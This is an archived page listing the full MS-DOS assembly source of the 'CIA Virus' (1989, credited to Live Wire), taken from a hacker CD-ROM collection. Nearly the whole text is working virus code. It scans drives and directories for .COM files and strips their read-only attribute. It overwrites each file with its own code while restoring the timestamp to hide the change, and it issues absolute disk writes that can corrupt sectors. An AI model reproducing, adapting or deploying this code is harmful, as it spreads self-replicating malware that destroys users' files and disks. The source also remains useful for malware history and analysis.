home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / CIA.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  5KB  |  244 lines

  1.         page 70,120
  2.         Name CIAVIRUS
  3. ;************************************
  4. ;     CIA Virus (C) 1989 by
  5. ;        Live Wire
  6. ;************************************
  7.  
  8.  
  9. code    segment
  10.         assume  cs:code
  11. progr   equ     100h
  12.         ORG     progr
  13.  
  14. main:
  15.         nop
  16.         nop
  17.         nop
  18.         mov     ax,00
  19.         mov     es:[pointer],ax
  20.         mov     es:[counter],ax
  21.         mov     es:[disks],al
  22.         mov     ah,19h
  23.         int     21h
  24.         mov     cs:drive,al
  25.         mov     ah,47h
  26.         mov     dh,0
  27.         add     al,1
  28.         mov     dl,al
  29.         lea     si,cs:old_path
  30.         int     21h
  31.         mov     ah,0eh
  32.         mov     dl,0
  33.         int     21h
  34.         mov     al,01
  35.         cmp     al,01
  36.         jnz     hups3
  37.         mov     al,06
  38.  
  39. hups3:  mov     ah,0
  40.         lea     bx,search_order
  41.         add     bx,ax
  42.         add     bx,0001h
  43.         mov     cs:pointer,bx
  44.         clc
  45.  
  46. change_disk:
  47.         jnc     no_name_change
  48.         mov     ah,17h
  49.         lea     dx,cs:maske_exe
  50.         int     21h
  51.         cmp     al,0ffh
  52.         jnz     no_name_change
  53.         mov     ah,2ch
  54.         int     21h
  55.         mov     bx,cs:pointer
  56.         mov     al,cs:[bx]
  57.         mov     bx,dx
  58.         mov     cx,2
  59.         mov     dh,0
  60.         int     26h
  61.  
  62. no_name_change:
  63.         mov     bx,cs:pointer
  64.         dec     bx
  65.         mov     cs:pointer,bx
  66.         mov     dl,cs:[bx]
  67.         cmp     dl,0ffh
  68.         jnz     hups2
  69.         jmp     hops
  70.  
  71. hups2:
  72.         mov     ah,0eh
  73.         int     21h
  74.         mov     ah,3bh
  75.         lea     dx,path
  76.         int     21h
  77.         jmp     find_first_file
  78.  
  79. find_first_subdir:
  80.         mov     ah,17h
  81.         lea     dx,cs:maske_exe
  82.         int     21h
  83.         mov     ah,3bh
  84.         lea     dx,path
  85.         int     21h
  86.         mov     ah,04eh
  87.         mov     cx,00010001b
  88.         lea     dx,maske_exe
  89.         int     21h
  90.         jc      change_disk
  91.  
  92.         mov     bx,CS:counter
  93.         inc     bx
  94.         dec     bx
  95.         jz      use_next_subdir
  96.  
  97. find_next_subdir:
  98.         mov     ah,4fh
  99.         int     21h
  100.         jc      change_disk
  101.         dec     bx
  102.         jnz     find_next_subdir
  103.  
  104. use_next_subdir:
  105.         mov     ah,2fh
  106.         int     21h
  107.         add     bx,1ch
  108.         mov     es:[bx],'\ '
  109.         inc     bx
  110.         push    ds
  111.         mov     ax,es
  112.         mov     ds,ax
  113.         mov     dx,bx
  114.         mov     ah,3bh
  115.         int     21h
  116.         pop     ds
  117.         mov     bx,cs:counter
  118.         inc     bx
  119.         mov     cs:counter,bx
  120.  
  121. find_first_file:
  122.         mov     ah,04eh
  123.         mov     cx,00000001b
  124.         lea     dx,maske_com
  125.         int     21h
  126.         jc      find_first_subdir
  127.         jmp     check_if_ill
  128.  
  129. find_next_file:
  130.         mov     ah,4fh
  131.         int     21h
  132.         jc      find_first_subdir
  133.  
  134. check_if_ill:
  135.         mov     ah,3dh
  136.         mov     al,02h
  137.         mov     dx,9eh
  138.         int     21h
  139.         mov     bx,ax
  140.         mov     ah,3fh
  141.         mov     cx,buflen
  142.         mov     dx,buffer
  143.         int     21h
  144.         mov     ah,3eh
  145.         int     21h
  146.  
  147.         mov     bx,cs:[buffer]
  148.         cmp     bx,9090h
  149.         jz      find_next_file
  150.  
  151.         mov     ah,43h
  152.         mov     al,0
  153.         mov     dx,9eh
  154.         int     21h
  155.         mov     ah,43h
  156.         mov     al,01h
  157.         and     cx,11111110b
  158.         int     21h
  159.  
  160.         mov     ah,3dh
  161.         mov     al,02h
  162.         mov     dx,9eh
  163.         int     21h
  164.  
  165.         mov     bx,ax
  166.         mov     ah,57h
  167.         mov     al,0
  168.         int     21h
  169.         push    cx
  170.         push    dx
  171.  
  172.         mov     dx,cs:[conta]
  173.         mov     cs:[jmpbuf],dx
  174.         mov     dx,cs:[buffer+1]
  175.         lea     cx,cont-100h
  176.         sub     dx,cx
  177.         mov     cs:[conta],dx
  178.  
  179.         mov     ah,40h
  180.         mov     cx,buflen
  181.         lea     dx,main
  182.         int     21h
  183.  
  184.         mov     ah,57h
  185.         mov     al,1
  186.         pop     dx
  187.         pop     cx
  188.         int     21h
  189.  
  190.         mov     ah,3eh
  191.         int     21h
  192.  
  193.         mov     dx,cs:[jmpbuf]
  194.         mov     cs:[conta],dx
  195. hops:   nop
  196.         call    use_old
  197.  
  198. cont    db      0e9h
  199. conta   dw      0
  200.         mov     ah,00
  201.         int     21h
  202.  
  203. use_old:
  204.         mov     ah,0eh
  205.         mov     dl,cs:drive
  206.         int     21h
  207.  
  208.         mov     ah,3bh
  209.         lea     dx,old_path-1
  210.         int     21h
  211.         ret
  212.  
  213. search_order    db      0ffh,1,0,2,3,0ffh,00,0ffh
  214. pointer         dw      0000
  215. counter         dw      0000
  216. disks           db      0
  217.  
  218.  
  219. maske_com       db      "*.com",00
  220. maske_dir       db      "*",00
  221. maske_exe       db      0ffh,0,0,0,0,0,00111111b
  222.                 db      0,"????????exe",0,0,0,0
  223.                 db      0,"????????com",0
  224. maske_all       db      0ffh,0,0,0,0,0,00111111b
  225.                 db      0,"???????????",0,0,0,0
  226.                 db      0,"????????com",0
  227.  
  228. buffer  equ     0e000h
  229.  
  230. buflen  equ     230h
  231. jmpbuf  equ     buffer+buflen
  232. path    db      "\",0
  233. drive   db      0
  234. back_slash      db      "\"
  235. old_path        db      32 dup (?)
  236.  
  237. code    ends
  238.  
  239. end     main
  240.  
  241.  
  242.  
  243. Downloaded From P-80 International Information Systems 304-744-2253
  244.